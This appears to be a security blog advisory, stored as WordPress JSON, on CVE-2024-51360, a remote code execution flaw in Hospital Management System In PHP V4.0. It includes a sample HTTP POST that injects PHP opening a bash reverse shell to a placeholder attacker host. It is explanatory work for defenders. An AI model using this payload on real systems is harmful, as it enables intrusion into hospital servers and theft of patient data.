{"id":46373,"date":"2025-05-30T17:30:00","date_gmt":"2025-05-30T17:30:00","guid":{"rendered":""},"modified":"2025-06-26T11:19:29","modified_gmt":"2025-06-26T17:19:29","slug":"cve-2024-51360-remote-code-execution-vulnerability-in-hospital-management-system-in-php-v4-0","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2024-51360-remote-code-execution-vulnerability-in-hospital-management-system-in-php-v4-0\/","title":{"rendered":"<strong>CVE-2024-51360: Remote Code Execution Vulnerability in Hospital Management System In PHP V4.0<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>A critical vulnerability has been identified in the Hospital Management System In PHP V4.0, tagged with the Common Vulnerabilities and Exposures (CVE) ID CVE-2024-51360. This vulnerability allows a remote attacker to execute arbitrary code via the hms\/doctor\/edit-profile.php file, potentially leading to full system compromise or data leakage. This flaw is especially concerning, given the sensitive nature of the data that <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39380-mojoomla-hospital-management-system-file-upload-vulnerability\/\"  data-wpil-monitor-id=\"52015\">hospital management systems<\/a> typically handle.<br \/>\nThis vulnerability affects multiple organizations worldwide, particularly those in the healthcare sector using this specific version of the PHP-based <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39386-sql-injection-vulnerability-in-mojoomla-hospital-management-system\/\"  data-wpil-monitor-id=\"52540\">Hospital Management<\/a> System. Its severity underscores the crucial need for effective <a href=\"https:\/\/www.ameeba.com\/blog\/hungarian-government-s-cybersecurity-measures-unpacking-the-implications-and-potential-solutions\/\"  data-wpil-monitor-id=\"54428\">cybersecurity measures<\/a> in the healthcare sector, where the potential impact of a breach could be devastating.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2024-51360<br \/>\nSeverity: Critical (CVSS 9.8)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39401-unrestricted-file-upload-leading-to-potential-system-compromise-in-mojoomla-wpams\/\"  data-wpil-monitor-id=\"52058\">System compromise and potential<\/a> data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2194644955\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Hospital <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31916-unrestricted-file-upload-vulnerability-in-jp-students-result-management-system-premium\/\"  data-wpil-monitor-id=\"54875\">Management System<\/a> In PHP | V4.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit works by sending a specially crafted request to the hms\/doctor\/edit-profile.php file. The Hospital Management System In PHP V4.0 does not properly sanitize user input on this page, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-41974-use-after-free-vulnerability-in-ios-and-ipados-allowing-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"51817\">allowing an attacker to inject and execute arbitrary PHP code<\/a>. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-45351-xiaomi-game-center-application-code-execution-vulnerability\/\"  data-wpil-monitor-id=\"52125\">code execution occurs with the same privileges as the application<\/a>, which could potentially allow an attacker to gain control of the system or access sensitive data.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2144946274\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-23394-critical-unix-symbolic-link-following-vulnerability-in-opensuse-tumbleweed-cyrus-imapd\/\"  data-wpil-monitor-id=\"54427\">following is a conceptual example of how the vulnerability<\/a> might be exploited. This example shows a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4829-critical-buffer-overflow-vulnerability-in-totolink-http-post-request-handler\/\"  data-wpil-monitor-id=\"52254\">HTTP POST request<\/a> with a &#8220;doctor&#8221; object containing malicious PHP code in one of its properties.<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/hms\/doctor\/edit-profile.php HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/x-www-form-urlencoded\ndoctor[name]=Attacker&amp;doctor[profile]=&lt;?php exec(&quot;\/bin\/bash -c &#039;bash -i &gt;&amp; \/dev\/tcp\/attacker_ip\/8080 0&gt;&amp;1&#039;&quot;); ?&gt;<\/code><\/pre>\n<p>In this example, the attacker <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-44880-command-injection-vulnerability-in-wavlink-wl-wn579a3-v1-0\/\"  data-wpil-monitor-id=\"52621\">injects a command<\/a> to create a reverse shell, connecting back to the attacker&#8217;s machine. This would provide the attacker with command-line <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36535-unrestricted-remote-access-due-to-lack-of-web-server-authentication-and-access-controls\/\"  data-wpil-monitor-id=\"52756\">access to the server<\/a> running the Hospital Management System.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>To mitigate this vulnerability, it is recommended that users apply the vendor-provided patch as soon as possible. In the absence of a patch, or until one can be applied, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5485-a-critical-vulnerability-pertaining-to-user-name-enumeration-in-web-management-interfaces\/\"  data-wpil-monitor-id=\"61534\">users should consider deploying a Web<\/a> Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview A critical vulnerability has been identified in the Hospital Management System In PHP V4.0, tagged with the Common Vulnerabilities and Exposures (CVE) ID CVE-2024-51360. This vulnerability allows a remote attacker to execute arbitrary code via the hms\/doctor\/edit-profile.php file, potentially leading to full system compromise or data leakage. This flaw is especially concerning, given the [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[80],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-46373","post","type-post","status-publish","format-standard","hentry","category-uncategorized","attack_vector-rce"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/46373","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=46373"}],"version-history":[{"count":11,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/46373\/revisions"}],"predecessor-version":[{"id":55223,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/46373\/revisions\/55223"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=46373"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=46373"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=46373"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=46373"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=46373"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=46373"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=46373"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=46373"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=46373"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}